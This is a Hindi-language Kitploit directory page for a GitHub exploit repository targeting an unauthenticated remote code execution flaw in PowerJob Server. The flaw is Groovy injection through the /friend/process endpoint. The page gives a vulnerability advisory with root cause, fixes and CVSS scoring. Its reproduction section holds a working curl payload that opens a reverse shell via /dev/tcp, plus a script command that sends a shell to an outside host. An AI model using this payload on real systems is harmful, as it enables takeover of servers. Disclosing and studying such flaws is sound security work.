Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरिमोट एक्सेस ट्रोजन
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

अनधिकृत रिमोट कोड निष्पादन शोषण PowerJob Server के लिए /friend/process एंडपॉइंट में Groovy इंजेक्शन के माध्यम से, जो मनमाना कमांड निष्पादन और रिवर्स शेल सक्षम करता है।

रिपॉजिटरी देखें
25 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PowerJob सर्वर में बिना प्रमाणीकरण के /friend/process (Groovy इंजेक्शन) के माध्यम से रिमोट कोड निष्पादन

1. सारांश

PowerJob सर्वर (वितरित जॉब शेड्यूलिंग / कंप्यूटिंग फ्रेमवर्क) अपने Worker↔Server ट्रांसपोर्ट-लेयर HTTP पोर्ट 10010 पर /friend/process एंडपॉइंट को बिना किसी प्रमाणीकरण के उजागर करता है। यह एंडपॉइंट किसी भी Spring Bean के किसी भी सार्वजनिक मेथड को रिफ्लेक्ट करता है; एक हमलावर GroovyEvaluator.evaluate को कॉल करके मनमाने Groovy एक्सप्रेशन निष्पादित कर सकता है, जिससे बिना प्रमाणीकरण के रिमोट कोड निष्पादन प्राप्त होता है। डिफ़ॉल्ट docker-compose इस पोर्ट को 0.0.0.0 पर प्रकाशित करता है, इसलिए एक सर्वर को शून्य क्रेडेंशियल्स के साथ पूरी तरह से समझौता किया जा सकता है।

2. प्रभावित उत्पाद

  • उत्पाद: PowerJob (वितरित जॉब शेड्यूलिंग / कंप्यूटिंग फ्रेमवर्क)
  • प्रभावित संस्करण: 5.1.2 (ट्रांसपोर्ट-लेयर डिज़ाइन पहले के रिलीज़ से विरासत में मिला है; पुराने संस्करण भी समान रूप से प्रभावित हैं — 4.x–5.1.2 रिपोर्ट करें)
  • स्रोत रिपॉजिटरी: https://github.com/PowerJob/PowerJob
  • डिफ़ॉल्ट डिप्लॉयमेंट: docker-compose.yml:29-33,47-48 होस्ट 0.0.0.0 पर 10010 (HTTP ट्रांसपोर्ट), 10086 (AKKA), 10077 (MU) प्रकाशित करता है

3. भेद्यता स्थान

आइटममान
ट्रिगरिंग एंडपॉइंटPOST http://<server>:10010/friend/process
पंजीकरणFriendActor.java @Actor(path = "friend") + @Handler(path = "process") (सभी तीन प्रोटोकॉल के लिए पंजीकृत: HTTP/MU/AKKA)
रिफ्लेक्टिव निष्पादनRemoteRequestProcessor.processRemoteRequest()
खतरनाक सिंकGroovyEvaluator.evaluate() → ScriptEngine.eval()
लापता प्रमाणीकरणHttpVertxCSInitializer (HTTP) / MuServerHandler (MU) बिना किसी टोकन/हस्ताक्षर जांच के रूट पंजीकृत करते हैं

मुख्य स्रोत फ़ाइलें (रिपॉजिटरी रूट के सापेक्ष):

  • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java (10010 रूट पंजीकृत करता है, कोई प्रमाणीकरण नहीं)
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
  • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
  • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

4. मूल कारण

  1. ट्रांसपोर्ट लेयर पर शून्य प्रमाणीकरण: PowerJob Worker और Server के बीच संचार प्रोटोकॉल (HTTP/AKKA/MU) को "आंतरिक विश्वास" क्षेत्र के रूप में मानता है। कोई भी होस्ट जो पोर्ट 10010/10086/10077 तक पहुंच सकता है, उसे एक वैध नोड के रूप में माना जाता है; कोई हैंडशेक और कोई हस्ताक्षर नहीं है।
  2. मनमाना Bean रिफ्लेक्शन: RemoteRequestProcessor.processRemoteRequest अनुरोध बॉडी के className, methodName, parameterTypes और args फ़ील्ड पर पूरी तरह भरोसा करता है — यह किसी भी Spring Bean को प्राप्त करने के लिए Class.forName + SpringUtils.getBean का उपयोग करता है और फिर Spring ReflectionUtils के माध्यम से उसके किसी भी सार्वजनिक मेथड को कॉल करता है।
  3. खतरनाक मेथड तक पहुंच: GroovyEvaluator एक @Component bean है जिसका evaluate(String, Object) Groovy स्क्रिप्ट इंजन (ScriptEngineManager) को कॉल करके हमलावर के एक्सप्रेशन को सीधे eval() करता है।

तीनों का संयोजन बिना प्रमाणीकरण के RCE के बराबर है।

5. हमले का परिदृश्य (पूर्व शर्त: केवल पोर्ट 10010 तक नेटवर्क पहुंच)

  1. हमलावर PowerJob सर्वर के पोर्ट 10010 पर एक HTTP POST भेजता है (कोई Cookie/Token आवश्यक नहीं)।
  2. अनुरोध बॉडी एक RemoteProcessReq JSON है जो मनमाने Groovy एक्सप्रेशन (जैसे, 'id'.execute().text) के साथ GroovyEvaluator.evaluate को लक्षित करता है।
  3. सर्वर रिफ्लेक्टिव रूप से मेथड को कॉल करता है; Groovy इंजन एक्सप्रेशन का मूल्यांकन करता है।
  4. कमांड-निष्पादन परिणाम AskResponse.data (base64 JSON) में हमलावर को वापस भेजा जाता है।
  5. हमलावर Groovy का उपयोग मनमानी फ़ाइलें लिखने, रिवर्स शेल शुरू करने या डेटा बाहर निकालने के लिए भी कर सकता है।

6. पुनरुत्पादन (सत्यापित)

पर्यावरण: JDK 17, स्रोत-निर्मित powerjob-server-starter-5.1.2.jar (दैनिक प्रोफ़ाइल), सर्वर 192.168.49.128:10010 पर सुन रहा है। JDK 21 पर पुनः सत्यापित (नीचे शेल-फॉर्म पेलोड दोनों पर काम करता है; नीचे File.write पर नोट देखें)।

root@kitploit:~
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
  "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
  "methodName": "evaluate",
  "parameterTypes": ["java.lang.String","java.lang.Object"],
  "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'

वास्तविक प्रतिक्रिया: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}। data फ़ील्ड का Base64-डिकोडिंग सर्वर JVM पर निष्पादित कमांड आउटपुट देता है:

image

वैकल्पिक रूप से, आप स्क्रिप्ट का उपयोग करके इसे पुनरुत्पादित कर सकते हैं:

python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

7. देखा गया बनाम अपेक्षित

  • देखा गया: एक बिना प्रमाणीकरण वाला HTTP अनुरोध सर्वर को मनमाने कमांड निष्पादित करने का कारण बनता है।
  • अपेक्षित: /friend/process Server↔Worker आंतरिक संचार का हिस्सा है; इसे बिना प्रमाणीकरण वाले अनुरोधों को अस्वीकार करना चाहिए, या मेथड को दूरस्थ रूप से कॉल करने योग्य नहीं होना चाहिए।

8. प्रभाव

  • गोपनीयता: उच्च — सर्वर पर मनमानी फ़ाइलें/मेमोरी/क्रेडेंशियल्स पढ़ें।
  • अखंडता: उच्च — मनमानी फ़ाइल लेखन, कॉन्फ़िगरेशन और जॉब्स के साथ छेड़छाड़।
  • उपलब्धता: उच्च — प्रक्रियाओं/सेवाओं को समाप्त कर सकता है।
  • प्रभाव सीमा: सर्वर प्रक्रिया → होस्ट (सेवा उपयोगकर्ता के विशेषाधिकारों के साथ); डिफ़ॉल्ट डिप्लॉयमेंट में, हमलावर होस्ट के आंतरिक नेटवर्क में पार्श्व रूप से स्थानांतरित हो सकता है।

9. सुझाया गया समाधान

  1. ट्रांसपोर्ट लेयर में पारस्परिक Server/Worker प्रमाणीकरण (टोकन/हस्ताक्षर) जोड़ें और स्रोत को मान्य करें; 10010/10086/10077 को सार्वजनिक इंटरनेट पर उजागर न करें।
  2. RemoteRequestProcessor को एक अनुमतिसूची में बदलें: className/methodName को फ्रेमवर्क-परिभाषित सुरक्षित हैंडलर तक सीमित करें और मनमाने beans के रिफ्लेक्टिव कॉल को प्रतिबंधित करें।
  3. GroovyEvaluator की दूरस्थ पहुंच को हटाएं या सख्ती से प्रतिबंधित करें (यदि इसे बनाए रखना आवश्यक है, तो प्रमाणीकरण और एक सैंडबॉक्स जोड़ें)।
  4. /friend/process (S4S_HANDLER_PROCESS) को डिफ़ॉल्ट रूप से अक्षम करें या इसे केवल आंतरिक स्रोतों तक सीमित करें।

10. CWE

  • प्राथमिक: CWE-94 (कोड के निर्माण का अनुचित नियंत्रण — Groovy इंजेक्शन)
  • द्वितीयक: CWE-470 (क्लास या कोड चुनने के लिए बाहरी रूप से नियंत्रित इनपुट का उपयोग — मनमाना Bean रिफ्लेक्शन), CWE-306 (महत्वपूर्ण फ़ंक्शन के लिए प्रमाणीकरण की कमी)

11. CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 क्रिटिकल

12. पर्यावरण

  • OS: Ubuntu 22.04 / Linux 6.8
  • JDK: 17.0.19 (मूल पुनरुत्पादन); OpenJDK 21.0.11 पर पुनः सत्यापित
  • बिल्ड: Maven 3.6.3, mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
  • डेटाबेस: MariaDB 10.6 (आवश्यक नहीं — /friend/process डेटाबेस के बिना ट्रिगर करने योग्य है)
  • रन: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
टूल डाउनलोड करें